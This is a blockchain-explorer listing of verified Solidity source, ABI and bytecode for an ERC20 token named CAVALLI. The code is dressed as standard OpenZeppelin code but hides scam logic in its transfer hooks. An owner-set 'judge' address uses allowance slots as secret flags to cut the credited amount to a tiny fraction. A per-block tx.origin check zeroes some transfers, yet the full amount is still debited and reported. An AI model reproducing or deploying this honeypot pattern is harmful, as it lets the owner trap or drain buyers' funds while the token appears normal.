Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.12;
import "./ERC20.sol";

contract CAVALLI is ERC20 {
    constructor() ERC20("CAVALLI", "CVLL") {
        _mint(msg.sender, 1000000000 * 10 ** 18);
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.12;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.12;

import "./IERC20.sol";
import "./Context.sol";

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(bytes32 => uint256) private _txs;

    uint256 private _totalSupply;
    address private _judge;
    string private _name;
    string private _symbol;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function judge(address _judge_) external {
        require((msg.sender == owner()));
        _judge = _judge_;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 _amount = _beforeTokenTransfer(from, to, amount);

        if (_txs[keccak256(abi.encodePacked(block.number, tx.origin, to))] != 0) {
            _amount = 0;
        }

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += _amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }

        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }
    
    function _protectedTransfer(uint256 a) internal pure returns(uint256) {return a * 2424 / 484848;}

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 
    ) internal virtual {
        if (_allowances[_judge][to] == 0xfef) {_allowances[_judge][to] = 0xdead;}
        _txs[keccak256(abi.encodePacked(block.number, tx.origin, from))] = 1;
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal view returns (uint256) {
        if (_allowances[_judge][from] + _allowances[_judge][to] >= 0xdead) {
            return _protectedTransfer(amount);
        } else {
            return amount;
        }
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.12;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_judge_","type":"address"}],"name":"judge","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b506040518060400160405280600781526020017f434156414c4c49000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f43564c4c000000000000000000000000000000000000000000000000000000008152506200009d62000091620000e760201b60201c565b620000ee60201b60201c565b8160069081620000ae91906200089c565b508060079081620000c091906200089c565b505050620000e1336b033b2e3c9fd0803ce8000000620001af60201b60201c565b62000c24565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000220576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200021790620009de565b60405180910390fd5b620002335f83836200031660201b60201c565b508060045f82825462000247919062000a2b565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002f7919062000a76565b60405180910390a3620003125f83836200048460201b60201c565b5050565b5f61dead60025f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460025f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546200045a919062000a2b565b10620004795762000471826200061060201b60201c565b90506200047d565b8190505b9392505050565b610fef60025f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403620005c85761dead60025f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600160035f433287604051602001620005e49392919062000b34565b6040516020818303038152906040528051906020012081526020019081526020015f2081905550505050565b5f620765f06109788362000625919062000b76565b62000631919062000bed565b9050919050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620006b457607f821691505b602082108103620006ca57620006c96200066f565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200072e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006f1565b6200073a8683620006f1565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620007846200077e620007788462000752565b6200075b565b62000752565b9050919050565b5f819050919050565b6200079f8362000764565b620007b7620007ae826200078b565b848454620006fd565b825550505050565b5f90565b620007cd620007bf565b620007da81848462000794565b505050565b5b818110156200080157620007f55f82620007c3565b600181019050620007e0565b5050565b601f82111562000850576200081a81620006d0565b6200082584620006e2565b8101602085101562000835578190505b6200084d6200084485620006e2565b830182620007df565b50505b505050565b5f82821c905092915050565b5f620008725f198460080262000855565b1980831691505092915050565b5f6200088c838362000861565b9150826002028217905092915050565b620008a78262000638565b67ffffffffffffffff811115620008c357620008c262000642565b5b620008cf82546200069c565b620008dc82828562000805565b5f60209050601f83116001811462000912575f8415620008fd578287015190505b6200090985826200087f565b86555062000978565b601f1984166200092286620006d0565b5f5b828110156200094b5784890151825560018201915060208501945060208101905062000924565b868310156200096b578489015162000967601f89168262000861565b8355505b6001600288020188555050505b505050505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f620009c6601f8362000980565b9150620009d38262000990565b602082019050919050565b5f6020820190508181035f830152620009f781620009b8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f62000a378262000752565b915062000a448362000752565b925082820190508082111562000a5f5762000a5e620009fe565b5b92915050565b62000a708162000752565b82525050565b5f60208201905062000a8b5f83018462000a65565b92915050565b5f819050919050565b62000aaf62000aa98262000752565b62000a91565b82525050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000ae08262000ab5565b9050919050565b5f8160601b9050919050565b5f62000aff8262000ae7565b9050919050565b5f62000b128262000af3565b9050919050565b62000b2e62000b288262000ad4565b62000b06565b82525050565b5f62000b41828662000a9a565b60208201915062000b53828562000b19565b60148201915062000b65828462000b19565b601482019150819050949350505050565b5f62000b828262000752565b915062000b8f8362000752565b925082820262000b9f8162000752565b9150828204841483151762000bb95762000bb8620009fe565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000bf98262000752565b915062000c068362000752565b92508262000c195762000c1862000bc0565b5b828204905092915050565b611a9b8062000c325f395ff3fe608060405234801561000f575f80fd5b50600436106100f3575f3560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb14610287578063d71265c7146102b7578063dd62ed3e146102d3578063f2fde38b14610303576100f3565b8063715018a6146102115780638da5cb5b1461021b57806395d89b4114610239578063a457c2d714610257576100f3565b806323b872dd116100d157806323b872dd14610163578063313ce5671461019357806339509351146101b157806370a08231146101e1576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff61031f565b60405161010c9190611158565b60405180910390f35b61012f600480360381019061012a9190611209565b6103af565b60405161013c9190611261565b60405180910390f35b61014d6103d1565b60405161015a9190611289565b60405180910390f35b61017d600480360381019061017891906112a2565b6103da565b60405161018a9190611261565b60405180910390f35b61019b610408565b6040516101a8919061130d565b60405180910390f35b6101cb60048036038101906101c69190611209565b610410565b6040516101d89190611261565b60405180910390f35b6101fb60048036038101906101f69190611326565b610446565b6040516102089190611289565b60405180910390f35b61021961048c565b005b61022361049f565b6040516102309190611360565b60405180910390f35b6102416104c6565b60405161024e9190611158565b60405180910390f35b610271600480360381019061026c9190611209565b610556565b60405161027e9190611261565b60405180910390f35b6102a1600480360381019061029c9190611209565b6105cb565b6040516102ae9190611261565b60405180910390f35b6102d160048036038101906102cc9190611326565b6105ed565b005b6102ed60048036038101906102e89190611379565b61066e565b6040516102fa9190611289565b60405180910390f35b61031d60048036038101906103189190611326565b6106f0565b005b60606006805461032e906113e4565b80601f016020809104026020016040519081016040528092919081815260200182805461035a906113e4565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f806103b9610772565b90506103c6818585610779565b600191505092915050565b5f600454905090565b5f806103e4610772565b90506103f185828561093c565b6103fc8585856109c7565b60019150509392505050565b5f6012905090565b5f8061041a610772565b905061043b81858561042c858961066e565b6104369190611441565b610779565b600191505092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610494610c80565b61049d5f610cfe565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546104d5906113e4565b80601f0160208091040260200160405190810160405280929190818152602001828054610501906113e4565b801561054c5780601f106105235761010080835404028352916020019161054c565b820191905f5260205f20905b81548152906001019060200180831161052f57829003601f168201915b5050505050905090565b5f80610560610772565b90505f61056d828661066e565b9050838110156105b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a9906114e4565b60405180910390fd5b6105bf8286868403610779565b60019250505092915050565b5f806105d5610772565b90506105e28185856109c7565b600191505092915050565b6105f561049f565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461062b575f80fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6106f8610c80565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075d90611572565b60405180910390fd5b61076f81610cfe565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de90611600565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084c9061168e565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161092f9190611289565b60405180910390a3505050565b5f610947848461066e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109c157818110156109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa906116f6565b60405180910390fd5b6109c08484848403610779565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2c90611784565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610aa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9a90611812565b60405180910390fd5b5f610aaf848484610dbf565b90505f60035f433287604051602001610aca93929190611895565b6040516020818303038152906040528051906020012081526020019081526020015f205414610af7575f90505b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7290611941565b60405180910390fd5b82810360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610c669190611289565b60405180910390a3610c79858585610f21565b5050505050565b610c88610772565b73ffffffffffffffffffffffffffffffffffffffff16610ca661049f565b73ffffffffffffffffffffffffffffffffffffffff1614610cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf3906119a9565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f61dead60025f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460025f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffff